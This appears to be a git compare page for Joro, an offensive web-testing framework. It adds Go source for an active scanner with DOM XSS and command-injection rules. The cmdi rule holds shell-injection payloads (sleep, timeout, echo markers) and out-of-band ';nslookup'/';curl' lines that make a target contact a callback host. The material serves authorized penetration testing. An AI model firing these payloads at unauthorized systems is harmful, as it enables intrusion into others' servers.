Compare commits

...
30 Commits
Author SHA1 Message Date
Tony West 376880c88d Increment version string 2026-10-30 19:04:26 -04:00
Tony West f7097f22d1 disable MPTCP by default to harden network listeners 2026-10-30 19:04:17 -04:00
Tony West bbe68abe7c Incremented version string 2026-10-29 21:08:03 -04:00
Tony West ee6083e311 fix to remove hosts from history once added to noise filter 2026-10-29 21:07:24 -04:00
Tony West 0f7b59fd0b Incremented version string 2026-10-28 20:51:50 -04:00
Tony West 78945ed001 Added context menu item to exclude hosts from scope 2026-10-28 20:51:13 -04:00
Tony West 647aebdba6 Fix incorrect error message when attempting to load API spec from a URL that does not host one 2026-10-28 20:21:25 -04:00
Tony West 4b3c4766e2 Fix for echo tab to improve UX 2026-10-28 19:59:17 -04:00
Tony West e6a9f1f348 Added missing context menu items to history table rows and site map 2026-10-28 19:04:51 -04:00
Tony West 01ba289b5e Fix missing error message on failed API spec load 2026-10-28 18:47:27 -04:00
Tony West 762c85454c Incremented version string 2026-10-14 02:59:14 -04:00
Tony West be27327a0d Update Tailwind to v4 2026-10-14 02:59:05 -04:00
Tony West f7889a0e1d Minor formatting adjustments 2026-10-14 02:43:56 -04:00
Tony West 5cdb71ac24 Enabled individual enable/disable toggle for custom request data items 2026-10-14 02:30:01 -04:00
Tony West 976e518298 Updated documentation 2026-10-14 02:12:33 -04:00
Tony West f80333451e Updated example image 2026-10-14 02:11:07 -04:00
Tony West bc446b1d64 Fixed various text size and alignment issues 2026-10-14 01:58:42 -04:00
Tony West ab06f4dbdb Updated default dashboard layout to add various vulnerability/threat intelligence feeds 2026-10-14 01:51:46 -04:00
Tony West 8dab71c673 Incremented version string 2026-10-07 00:24:35 -04:00
Tony West 1f6b5ef92b fix: suppress fail-closed scope warning for tokens with scope enforcement off 2026-10-07 00:24:02 -04:00
Tony West 472fdcd47b fix: clear SJ Automate and Auth Matrix results when a new document is loaded 2026-10-07 00:16:44 -04:00
Tony West 544b3b6e77 fix: add --compressed to generated curl commands when the request accepts a compressed encoding 2026-10-06 23:21:05 -04:00
Tony West 8214c8e804 Enhancement to return a per-token sha256 response hash from callback listeners to confirm out-of-band hits 2026-10-06 23:16:43 -04:00
Tony West 66cbe42207 Expanded active scanning with technology fingerprinting, template signatures, and injection detections 2026-10-06 22:41:37 -04:00
Tony West 6e3c834df4 Add active scanning feature with DOM XSS detection 2026-10-06 14:18:53 -04:00
Tony West aeb688148b Add built-in wordlists and payload generators to the fuzzer 2026-10-06 00:12:46 -04:00
Tony West 564f7027a7 Added line to start the Echo reflection scanner in proxy mode 2026-10-05 23:46:15 -04:00
Tony West 9a8de27f4b Fix SJ requests carrying no User-Agent when a document declares one as a header parameter 2026-09-29 09:56:10 -04:00
Tony West 2571e51ed6 Add Echo tab for mapping parameter reflections in captured traffic, and a parameter inventory on the Site Map 2026-09-28 15:49:27 -04:00
Tony West cab43a702c Added basic anomaly detection 2026-09-24 16:43:40 -04:00
184 changed files with 231818 additions and 1993 deletions

No files matched your search

+2 -3
View File
@@ -1,12 +1,11 @@
# Joro
![](assets/header.png)
A web exploitation framework for offensive security professionals. Intercepting proxy, blind vulnerability detection, web shell generation, C2 integration, and collaboration tools in a single binary with an embedded web UI.
![](examples/images/joro.png)
> Warning: This tool is intended for authorized penetration testing and security research only. You must only use Joro against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. Bishop Fox assumes no liability and is not responsible for any misuse or damage caused by this tool. Use responsibly.
![](examples/images/joro-history.png)
## Features
Binary file not shown.

Before

Width:  |  Height:  |  Size: 328 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 307 KiB

+2
View File
@@ -2,6 +2,8 @@ module github.com/BishopFox/joro
go 1.25.0
godebug multipathtcp=0
require github.com/hashicorp/go-uuid v1.0.3
require (
+277
View File
@@ -0,0 +1,277 @@
// Package activescan is Joro's operator-initiated active scanning: unlike detect,
// echo and anomaly — which only ever read captured traffic — a scan originates
// traffic or drives a browser against a target the operator picked, and files
// confirmed results into the shared detect.Store.
//
// # A framework, not one check
//
// A scan runs a set of pluggable Rules against one Target. DOM XSS is the first
// and only rule today; the interface exists so a future active rule (a reflected-
// XSS prober, an open-redirect check) plugs in without the run machinery, the
// scope rule or the context-menu wiring changing. The registry is an instance a
// caller builds and owns, not a package global, per the project's no-globals rule.
//
// # One run at a time
//
// Like internal/chainrun, a scan is sequential and the store refuses a second
// concurrent run (the AddIfIdle guard). A DOM XSS scan drives a single browser
// and a future state-changing rule would race the application's own state, so
// coexisting runs would describe the interleaving rather than the target.
//
// # Scope is a filter, not a gate
//
// The target's URLs are scope-filtered by the handler through proxy.Scope.InScope,
// which returns true whenever scope filtering is disabled. So with scope off — the
// default — nothing is rejected and a scan covers every target; scope only narrows
// a scan once the operator turns it on. Rules therefore receive an already-filtered
// URL list and never re-check.
package activescan
import (
"context"
"sort"
"sync"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/techfp"
)
// Status is a run's state.
type Status string
const (
StatusRunning Status = "running"
StatusComplete Status = "complete"
StatusStopped Status = "stopped"
)
// Bounds.
const (
MaxRuns = 20
// MaxURLs caps a single host scan: a large site map should not turn one click
// into thousands of navigations.
MaxURLs = 200
DefaultBudgetMs = 600000 // 10 minutes
MaxBudgetMs = 1800000 // 30 minutes
)
// TargetURL is one address to exercise.
type TargetURL struct {
URL string `json:"url"`
Method string `json:"method"`
RequestID string `json:"requestId,omitempty"` // the capture it came from, if any
// RawReq carries the captured request bytes for a future HTTP-sending rule.
// The DOM XSS rule navigates to URL and ignores it.
RawReq []byte `json:"-"`
}
// Target is what a scan operates on: one host's endpoints, or a single request.
type Target struct {
Scheme string `json:"scheme"`
Host string `json:"host"` // Host-header form (may carry :port)
Origin string `json:"origin"` // scheme://host
URLs []TargetURL `json:"-"`
}
// Config is snapshotted when a run starts.
type Config struct {
// Scope records how the target was chosen, for display: "host" or "request".
Scope string
// Rules names the rule IDs to run; empty means every registered rule.
Rules []string
// AllowDestructive is the arming gate reserved for rules that change state.
// DOM XSS is read-only navigation and does not consult it, but the field is
// the seam a future rule's Plan refusal hangs on.
AllowDestructive bool
// Tags and Severity narrow which signatures the template rule runs; empty
// means no filter. IgnoreFingerprint makes that rule skip fingerprint gating
// and run every eligible signature. Only the template-signature rule reads
// these; other rules ignore them.
Tags []string
Severity []string
IgnoreFingerprint bool
// NoOAST opts the injection rules out of out-of-band testing even when a
// callback listener is configured. OAST is already disabled when no listener
// is configured; this is the operator's explicit opt-out when one is.
NoOAST bool
BudgetMs int
}
// RuleDeps is everything a rule might need to originate traffic or drive a
// browser. A rule takes what it uses and ignores the rest.
type RuleDeps struct {
ProxyAddr string
CA *cert.CA
Store *proxy.Store
Scope *proxy.Scope
DataDir string
// Tech is the passive fingerprint store. The template-signature rule reads it
// to run only the checks a host's detected stack warrants; nil disables gating
// (every eligible signature runs).
Tech *techfp.Store
// Callback is the out-of-band (OAST) callback store. The injection rules mint a
// token and poll it for blind interactions; nil (or no configured domain)
// disables OAST vectors, so they run only when a listener/domain is configured.
Callback *callback.Store
}
// Reporter is how a rule reports progress and results back to the run. Both
// methods are safe to call from the rule's own goroutines.
type Reporter interface {
// Finding files a confirmed result into the shared detect store.
Finding(detect.Finding)
// Progress advances the run's completed count by delta units of work.
Progress(delta int)
}
// Rule is one active check. It owns its own traversal and resources: the DOM XSS
// rule launches one browser and drives every URL through it, tearing it down
// when Run returns.
type Rule interface {
ID() string
Name() string
Category() detect.Category
// Description explains what the rule does, for the Rules UI. It is the active
// counterpart to a passive rule's Description field.
Description() string
Run(ctx context.Context, t Target, cfg Config, deps RuleDeps, rep Reporter) error
}
// Registry holds the rules a host process offers. It is built and owned by the
// caller (the API server), not a package global.
//
// A rule's enabled-state is stored as the DISABLED set (an absent id is enabled),
// so a newly-registered rule defaults on with no migration and the project file
// persists only the exceptions. The enabled-state is per-project session state:
// applyProjectConfig sets it on a project switch and buildProjectConfig reads it.
type Registry struct {
mu sync.RWMutex
rules map[string]Rule
order []string
disabled map[string]bool
}
// NewRegistry creates an empty registry.
func NewRegistry() *Registry {
return &Registry{rules: make(map[string]Rule), disabled: make(map[string]bool)}
}
// Register adds a rule, keeping registration order for listing.
func (r *Registry) Register(rule Rule) {
r.mu.Lock()
defer r.mu.Unlock()
if _, ok := r.rules[rule.ID()]; !ok {
r.order = append(r.order, rule.ID())
}
r.rules[rule.ID()] = rule
}
// Get returns a rule by ID, or nil.
func (r *Registry) Get(id string) Rule {
r.mu.RLock()
defer r.mu.RUnlock()
return r.rules[id]
}
// All returns every registered rule in registration order.
func (r *Registry) All() []Rule {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]Rule, 0, len(r.order))
for _, id := range r.order {
out = append(out, r.rules[id])
}
return out
}
// IsEnabled reports whether a rule runs when no explicit selection is made.
func (r *Registry) IsEnabled(id string) bool {
r.mu.RLock()
defer r.mu.RUnlock()
return !r.disabled[id]
}
// SetEnabled toggles a rule's enabled-state.
func (r *Registry) SetEnabled(id string, on bool) {
r.mu.Lock()
defer r.mu.Unlock()
if on {
delete(r.disabled, id)
} else {
r.disabled[id] = true
}
}
// Disabled returns the disabled rule IDs, sorted — the set the project file
// persists.
func (r *Registry) Disabled() []string {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]string, 0, len(r.disabled))
for id := range r.disabled {
out = append(out, id)
}
sort.Strings(out)
return out
}
// SetDisabled replaces the disabled set, for a project restore. A nil slice
// clears it, so a project with no setting runs every rule.
func (r *Registry) SetDisabled(ids []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.disabled = make(map[string]bool, len(ids))
for _, id := range ids {
r.disabled[id] = true
}
}
// Resolve returns the rules a config selects, in registration order. An empty
// selection means every ENABLED rule; an explicit selection returns the named
// registered rules regardless of enabled-state, so an operator choosing a rule
// overrides its global toggle.
func (r *Registry) Resolve(ids []string) []Rule {
if len(ids) == 0 {
out := make([]Rule, 0, len(r.order))
for _, rule := range r.All() {
if r.IsEnabled(rule.ID()) {
out = append(out, rule)
}
}
return out
}
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
out := make([]Rule, 0, len(ids))
for _, rule := range r.All() {
if want[rule.ID()] {
out = append(out, rule)
}
}
return out
}
func clampInt(v, def, lo, hi int) int {
if v == 0 {
return def
}
if v < lo {
return lo
}
if v > hi {
return hi
}
return v
}
+91
View File
@@ -0,0 +1,91 @@
package activescan
import (
"sort"
"sync"
)
// CatalogField is one labelled line in an item's read-only detail.
type CatalogField struct {
Label string `json:"label"`
Value string `json:"value"`
}
// CatalogItem is one entry in a rule's catalog — a nuclei signature or an injection
// check. It carries the common columns plus a free-form Detail list, so the handler
// and UI are agnostic to the item kind.
type CatalogItem struct {
ID string `json:"id"`
Name string `json:"name"`
Severity string `json:"severity"`
Confidence string `json:"confidence,omitempty"`
Target string `json:"target,omitempty"`
Description string `json:"description,omitempty"`
Remediation string `json:"remediation,omitempty"`
Enabled bool `json:"enabled"`
Detail []CatalogField `json:"detail,omitempty"`
}
// Cataloger is implemented by a Rule that exposes a catalog of individually
// toggleable items (Template signatures, or an injection rule's checks). It is
// optional — a single-check rule like DOM XSS does not implement it. The
// enable/disable half is satisfied by embedding *DisabledSet.
type Cataloger interface {
CatalogItems() []CatalogItem
IsItemEnabled(id string) bool
SetItemEnabled(id string, on bool)
DisabledItems() []string
SetDisabledItems(ids []string)
}
// DisabledSet is a reusable per-item disabled set (an absent id is enabled),
// mirroring the Registry's per-rule model at item granularity. Rules embed it to
// get four of the five Cataloger methods for free; it is per-project session state
// (applyProjectConfig sets it, buildProjectConfig reads it).
type DisabledSet struct {
mu sync.RWMutex
m map[string]bool
}
// NewDisabledSet returns an empty set (everything enabled).
func NewDisabledSet() *DisabledSet { return &DisabledSet{m: map[string]bool{}} }
// IsItemEnabled reports whether an item runs (absent from the disabled set).
func (d *DisabledSet) IsItemEnabled(id string) bool {
d.mu.RLock()
defer d.mu.RUnlock()
return !d.m[id]
}
// SetItemEnabled toggles one item's disabled-state.
func (d *DisabledSet) SetItemEnabled(id string, on bool) {
d.mu.Lock()
defer d.mu.Unlock()
if on {
delete(d.m, id)
} else {
d.m[id] = true
}
}
// DisabledItems returns the disabled ids, sorted — the set the project file persists.
func (d *DisabledSet) DisabledItems() []string {
d.mu.RLock()
defer d.mu.RUnlock()
out := make([]string, 0, len(d.m))
for id := range d.m {
out = append(out, id)
}
sort.Strings(out)
return out
}
// SetDisabledItems replaces the set, for a project restore. A nil slice clears it.
func (d *DisabledSet) SetDisabledItems(ids []string) {
d.mu.Lock()
defer d.mu.Unlock()
d.m = make(map[string]bool, len(ids))
for _, id := range ids {
d.m[id] = true
}
}
+134
View File
@@ -0,0 +1,134 @@
// Package cmdi is the active command-injection rule. It exposes checks for
// output-marker, Unix/Windows timing, and out-of-band detection; each appends
// shell-metacharacter payloads to a parameter.
package cmdi
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "cmdi"
findingRule = "activescan.cmdi"
sleepMs = 5000
oastWindow = 12 * time.Second
// marker product 73*79=5767: a shell evaluates the arithmetic, while a merely
// reflective app echoes the literal "$((73*79))" — so the computed form confirms
// execution, not reflection.
markerProduct = "5767"
)
var unixTime = []string{`;sleep 5`, `|sleep 5`, `||sleep 5`, `&&sleep 5`, "`sleep 5`", `$(sleep 5)`}
var winTime = []string{`& timeout /t 5`, `& ping -n 6 127.0.0.1`}
func markerSuffixes(nonce string) []string {
e := nonce + `$((73*79))`
return []string{`;echo ` + e, `|echo ` + e, "`echo " + e + "`", `& echo ` + e}
}
func oastSuffixes(host string) []string {
return []string{`;nslookup ` + host, `|nslookup ` + host, `$(nslookup ` + host + `)`, `& nslookup ` + host, `;curl ` + host}
}
var checks = []injkit.Check{
{
ID: "output", Name: "Output marker", Severity: detect.SeverityCritical,
Description: "Appends an echo of a shell-arithmetic marker; the computed result in the response confirms execution (not mere reflection).",
Payloads: []string{`;echo <marker>$((73*79))`, `|echo …`, "`echo …`", `& echo …`},
Probe: outputMarker,
},
{
ID: "time-unix", Name: "Time-based (Unix)", Severity: detect.SeverityCritical,
Description: "Appends a Unix sleep and confirms a delayed response twice.",
Payloads: unixTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, unixTime) },
},
{
ID: "time-windows", Name: "Time-based (Windows)", Severity: detect.SeverityCritical,
Description: "Appends a Windows timeout/ping delay and confirms a delayed response twice.",
Payloads: winTime,
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, winTime) },
},
{
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityCritical,
Description: "Appends nslookup/curl to the callback host and polls the listener for an interaction.",
Payloads: []string{`;nslookup <callback>`, `$(nslookup <callback>)`, `;curl <callback>`},
RequiresOAST: true,
Probe: oastBased,
},
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Command injection" }
func (*Rule) Category() detect.Category { return detect.CategoryCommandInjection }
func (*Rule) Description() string {
return "Appends shell-metacharacter payloads (echo marker, sleep/timeout, and — when a " +
"callback listener is configured — nslookup/curl) to each parameter, confirming via an " +
"evaluated marker, a timing delay, or an out-of-band callback."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryCommandInjection, "Command injection")
return nil
}
func outputMarker(pc injkit.ProbeCtx) {
nonce := "joro" + randHex(5)
for _, s := range markerSuffixes(nonce) {
if res := pc.Inject(s, true); res != nil && strings.Contains(string(res.Resp.Body), nonce+markerProduct) {
pc.File(detect.SeverityCritical, "output-based command injection in "+pc.Point.Name, "injected "+s+" and the shell-evaluated marker was echoed", res.URL)
return
}
}
}
func timeBased(pc injkit.ProbeCtx, suffixes []string) {
for _, s := range suffixes {
res := pc.Inject(s, true)
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
continue
}
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
pc.File(detect.SeverityCritical, "time-based blind command injection in "+pc.Point.Name, "injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
return
}
}
}
func oastBased(pc injkit.ProbeCtx) {
if pc.OAST == nil {
return
}
tokenID, host, err := pc.OAST.Token("cmdi")
if err != nil {
return
}
for _, s := range oastSuffixes(host) {
pc.Inject(s, true)
}
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
pc.File(detect.SeverityCritical, "out-of-band command injection in "+pc.Point.Name, "an injected command triggered a callback to "+host, pc.Base.URL)
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+294
View File
@@ -0,0 +1,294 @@
// Package domxss is the first internal/activescan rule: it confirms DOM-based XSS
// by driving a headless browser over CDP.
//
// For each target URL it plants a distinct canary token in each controllable DOM
// source — the URL fragment, a query value and window.name — then navigates to
// the URL. A monitor shim (monitor.js), injected before any page script runs and
// so unaffected by the page's CSP, wraps the dangerous sinks (innerHTML, eval,
// document.write, setAttribute, jQuery.html, …). When a canary reaches a sink the
// shim reports which one and from which source over a CDP binding, and that
// becomes a high-confidence detect.Finding.
//
// Per-source canaries make attribution exact: because the hash, query and name
// tokens differ, a sink hit names the precise source that reached it rather than
// guessing from whichever source happened to hold the payload.
package domxss
import (
"context"
"crypto/rand"
_ "embed"
"encoding/hex"
"encoding/json"
"fmt"
"net/url"
"path/filepath"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/browser"
"github.com/BishopFox/joro/internal/cdp"
"github.com/BishopFox/joro/internal/detect"
)
//go:embed monitor.js
var monitorJS string
const (
ruleID = "domxss"
bindingName = "__joroDomXss"
findingRule = "activescan.domxss"
connectTimeout = 20 * time.Second
perURLTimeout = 15 * time.Second
settleDelay = 1200 * time.Millisecond
)
// Rule implements activescan.Rule.
type Rule struct{}
// New returns the DOM XSS rule.
func New() *Rule { return &Rule{} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "DOM-based XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryDOMXSS }
func (*Rule) Description() string {
return "Drives a dedicated headless Chromium through Joro's proxy and plants per-source " +
"canaries in the URL fragment, a query value, and window.name, then reports when the " +
"page's own JavaScript carries one into a dangerous sink (innerHTML, document.write, " +
"eval, setTimeout, location, and similar). Injection is over CDP before page load, so " +
"it is unaffected by CSP, and the canary never reaches the server — the flow is " +
"confirmed in the browser."
}
// hit is one sink report from the injected monitor.
type hit struct {
Sink string `json:"sink"`
Source string `json:"source"`
Channel string `json:"channel"`
Token string `json:"token"`
Value string `json:"value"`
URL string `json:"url"`
Stack string `json:"stack"`
}
// collector gathers monitor reports as they arrive on the CDP read loop.
type collector struct {
mu sync.Mutex
hits []hit
}
func (c *collector) add(h hit) {
c.mu.Lock()
c.hits = append(c.hits, h)
c.mu.Unlock()
}
// drain returns every hit received since it was last called.
func (c *collector) drain() []hit {
c.mu.Lock()
out := c.hits
c.hits = nil
c.mu.Unlock()
return out
}
// Run launches a dedicated headless browser, injects the monitor, and navigates
// each target URL with canaries, reporting confirmed flows.
func (r *Rule) Run(ctx context.Context, t activescan.Target, _ activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
if deps.CA == nil {
return fmt.Errorf("no CA available for the scan browser")
}
path, _, ok := browser.Find()
if !ok {
return fmt.Errorf("no Chromium-family browser found to drive the scan")
}
profileDir := filepath.Join(deps.DataDir, "browser-profiles", "__scan")
sess, err := browser.LaunchControlled(browser.LaunchOptions{
BrowserPath: path,
ProxyAddr: deps.ProxyAddr,
SPKIFingerprint: browser.SPKIFingerprint(deps.CA.Cert),
ProfileDir: profileDir,
Headless: true,
})
if err != nil {
return fmt.Errorf("launch scan browser: %w", err)
}
defer sess.Kill(true)
client, err := cdp.Connect(ctx, sess.DebugPort, connectTimeout)
if err != nil {
return err
}
defer client.Close()
col := &collector{}
loadCh := make(chan struct{}, 1)
client.On("Page.loadEventFired", func(json.RawMessage) {
select {
case loadCh <- struct{}{}:
default:
}
})
client.On("Runtime.bindingCalled", func(params json.RawMessage) {
var p struct {
Name string `json:"name"`
Payload string `json:"payload"`
}
if err := json.Unmarshal(params, &p); err != nil || p.Name != bindingName {
return
}
var h hit
if err := json.Unmarshal([]byte(p.Payload), &h); err == nil {
col.add(h)
}
})
if _, err := client.Send(ctx, "Page.enable", nil); err != nil {
return err
}
if _, err := client.Send(ctx, "Runtime.enable", nil); err != nil {
return err
}
if _, err := client.Send(ctx, "Runtime.addBinding", map[string]any{"name": bindingName}); err != nil {
return err
}
if _, err := client.Send(ctx, "Page.addScriptToEvaluateOnNewDocument", map[string]any{"source": monitorJS}); err != nil {
return err
}
for _, tu := range t.URLs {
if ctx.Err() != nil {
return ctx.Err()
}
// Only GET endpoints are navigable pages; a host target now also carries
// non-GET parametric requests for the injection rules, which this rule skips.
if tu.Method != "" && !strings.EqualFold(tu.Method, "GET") {
rep.Progress(1)
continue
}
scanURL(ctx, client, col, loadCh, t.Host, tu.URL, rep)
rep.Progress(1)
}
return nil
}
// scanURL plants canaries, navigates, waits for load plus a settle delay, and
// files any confirmed hits.
func scanURL(ctx context.Context, client *cdp.Client, col *collector, loadCh chan struct{}, host, rawURL string, rep activescan.Reporter) {
navURL, nameCanary := buildCanaryURL(rawURL)
if navURL == "" {
return
}
// window.name persists across the navigation, so set it first.
_, _ = client.Send(ctx, "Runtime.evaluate", map[string]any{
"expression": "window.name=" + jsString(nameCanary),
"returnByValue": true,
})
// Drop any stale load signal from a previous navigation.
select {
case <-loadCh:
default:
}
urlCtx, cancel := context.WithTimeout(ctx, perURLTimeout)
defer cancel()
if _, err := client.Send(urlCtx, "Page.navigate", map[string]any{"url": navURL}); err != nil {
return
}
// Wait for the load event (or the per-URL timeout), then give async sinks a
// moment after load to fire.
select {
case <-urlCtx.Done():
return
case <-loadCh:
}
select {
case <-urlCtx.Done():
case <-time.After(settleDelay):
}
seen := map[string]bool{}
for _, h := range col.drain() {
key := h.Source + "|" + h.Sink
if seen[key] {
continue
}
seen[key] = true
rep.Finding(finding(host, navURL, h))
}
}
// buildCanaryURL returns the URL to navigate, carrying a hash and query canary,
// plus the distinct window.name canary to set beforehand. It returns "" if the
// URL cannot be parsed.
func buildCanaryURL(rawURL string) (navURL, nameCanary string) {
u, err := url.Parse(rawURL)
if err != nil || u.Host == "" {
return "", ""
}
q := u.Query()
q.Set("joroqp", canary("q"))
u.RawQuery = q.Encode()
u.Fragment = canary("h")
return u.String(), canary("n")
}
// canary mints a per-source token the monitor recognizes: __joroDX_<channel>_<hex>.
func canary(channel string) string {
var b [6]byte
_, _ = rand.Read(b[:])
return "__joroDX_" + channel + "_" + hex.EncodeToString(b[:])
}
// finding builds the detect.Finding for a confirmed sink hit.
func finding(host, navURL string, h hit) detect.Finding {
now := time.Now()
path := navURL
if u, err := url.Parse(navURL); err == nil {
path = u.Path
}
evidence := fmt.Sprintf("%s reached %s (via %s)", h.Source, h.Sink, h.Channel)
if h.Stack != "" {
evidence += "\n" + firstLines(h.Stack, 6)
}
return detect.Finding{
ID: detect.FindingID(findingRule, host, h.Source+"|"+h.Sink+"|"+path),
RuleID: findingRule,
RuleName: "DOM-based XSS",
Category: detect.CategoryDOMXSS,
Severity: detect.SeverityHigh,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: host,
Method: "GET",
URL: navURL,
Detail: h.Source + " reaches " + h.Sink,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
// jsString encodes s as a JavaScript string literal for Runtime.evaluate.
func jsString(s string) string {
b, _ := json.Marshal(s)
return string(b)
}
// firstLines returns at most n lines of s.
func firstLines(s string, n int) string {
lines := strings.Split(s, "\n")
if len(lines) > n {
lines = lines[:n]
}
return strings.Join(lines, "\n")
}
+141
View File
@@ -0,0 +1,141 @@
// DOM XSS sink monitor, injected by internal/activescan/domxss via CDP's
// Page.addScriptToEvaluateOnNewDocument, so it runs before any page script and is
// not subject to the page's CSP.
//
// It wraps the dangerous DOM sinks and, whenever one receives a value containing
// a Joro canary token, reports the sink, the source channel the canary came from
// (hash / query / window.name) and a stack trace back to Go through the
// __joroDomXss binding. It never throws into the page.
(function () {
try {
var MARK = "__joroDX_";
var reported = {};
function channelSource(ch) {
if (ch === "h") return "location.hash";
if (ch === "q") return "location.search";
if (ch === "n") return "window.name";
return "unknown";
}
function scan(val, sink) {
if (val == null) return;
var s;
try { s = String(val); } catch (e) { return; }
if (s.indexOf(MARK) < 0) return;
var m = s.match(/__joroDX_([hqn])_([0-9a-f]+)/);
if (!m) return;
var channel = m[1];
var token = m[0];
var key = sink + "|" + channel + "|" + token;
if (reported[key]) return;
reported[key] = true;
var payload = {
sink: sink,
source: channelSource(channel),
channel: channel,
token: token,
value: s.length > 2000 ? s.slice(0, 2000) : s,
url: "",
stack: ""
};
try { payload.url = location.href; } catch (e) {}
try { payload.stack = (new Error()).stack || ""; } catch (e) {}
try { window.__joroDomXss(JSON.stringify(payload)); } catch (e) {}
}
function hookProp(proto, prop, sink) {
try {
var d = Object.getOwnPropertyDescriptor(proto, prop);
if (!d || !d.set) return;
var origSet = d.set;
Object.defineProperty(proto, prop, {
configurable: true,
enumerable: d.enumerable,
get: d.get,
set: function (v) { scan(v, sink); return origSet.call(this, v); }
});
} catch (e) {}
}
hookProp(Element.prototype, "innerHTML", "Element.innerHTML");
hookProp(Element.prototype, "outerHTML", "Element.outerHTML");
try {
var iah = Element.prototype.insertAdjacentHTML;
Element.prototype.insertAdjacentHTML = function (pos, html) {
scan(html, "insertAdjacentHTML");
return iah.apply(this, arguments);
};
} catch (e) {}
function hookDocWrite(name) {
try {
var orig = document[name];
document[name] = function () {
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "document." + name);
return orig.apply(this, arguments);
};
} catch (e) {}
}
hookDocWrite("write");
hookDocWrite("writeln");
try {
var _eval = window.eval;
window.eval = function (code) { scan(code, "eval"); return _eval(code); };
} catch (e) {}
try {
var _Func = window.Function;
window.Function = function () {
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "Function");
return _Func.apply(this, arguments);
};
} catch (e) {}
function hookTimer(name) {
try {
var orig = window[name];
window[name] = function (fn) {
if (typeof fn === "string") scan(fn, name + "(string)");
return orig.apply(this, arguments);
};
} catch (e) {}
}
hookTimer("setTimeout");
hookTimer("setInterval");
try {
var _setAttr = Element.prototype.setAttribute;
Element.prototype.setAttribute = function (name, value) {
try {
var n = ("" + name).toLowerCase();
if (n === "src" || n === "href" || n === "data" || n === "action" ||
n === "formaction" || n.indexOf("on") === 0) {
scan(value, "setAttribute(" + n + ")");
}
} catch (e) {}
return _setAttr.apply(this, arguments);
};
} catch (e) {}
function hookJQuery() {
try {
var jq = window.jQuery;
if (!jq || !jq.fn) return;
["html", "append", "prepend", "after", "before", "replaceWith"].forEach(function (mth) {
var orig = jq.fn[mth];
if (typeof orig !== "function") return;
jq.fn[mth] = function () {
for (var i = 0; i < arguments.length; i++) {
if (typeof arguments[i] === "string") scan(arguments[i], "jQuery." + mth);
}
return orig.apply(this, arguments);
};
});
} catch (e) {}
}
hookJQuery();
try { document.addEventListener("DOMContentLoaded", hookJQuery); } catch (e) {}
} catch (e) {}
})();
+32
View File
@@ -0,0 +1,32 @@
package inject
import "context"
// Drive iterates every parameter of every request, calling probe with the point
// and that request's baseline. It handles enumeration, per-request baselining,
// cancellation, and progress (one tick per request, matching the run's URL-based
// total). Finding-reporting stays in probe (this package does not import
// activescan), which is why probe takes no reporter.
func Drive(ctx context.Context, reqs [][]byte, s *Sender, progress func(delta int), probe func(ctx context.Context, p Point, base *Baseline)) {
for _, raw := range reqs {
if ctx.Err() != nil {
return
}
base, err := s.Baseline(ctx, raw)
if err != nil {
if progress != nil {
progress(1)
}
continue
}
for _, p := range Enumerate(raw) {
if ctx.Err() != nil {
return
}
probe(ctx, p, base)
}
if progress != nil {
progress(1)
}
}
}
+261
View File
@@ -0,0 +1,261 @@
// Package inject is the shared scaffold for the active injection-scanning rules
// (reflected XSS, SQLi, SSTI, command injection, open redirect, path traversal).
// It enumerates a request's injectable parameters, mutates one with a payload,
// sends the result through Joro's proxy, and exposes baseline/differential/timing
// and OAST helpers — so each rule is just a payload set plus a detector.
//
// Enumeration reuses internal/echo (the one parameter walker in the repo);
// mutation is name-aware per source (query/form/json/path) rather than relying on
// byte offsets, which echo computes only best-effort.
package inject
import (
"encoding/json"
"fmt"
"net/url"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// Point is an injectable parameter. It aliases echo.Value so rules speak echo's
// vocabulary (Source, Name, Value) without re-deriving it.
type Point = echo.Value
// Enumerate returns the injectable parameters of a raw request: query, path, form
// and JSON-body values. Headers, cookies and multipart parts are deliberately
// excluded to bound scan volume to the parameters that carry most injection.
func Enumerate(raw []byte) []Point {
if len(raw) == 0 {
return nil
}
// detect.Parse derives the URL/host/content-type from the CapturedRequest's
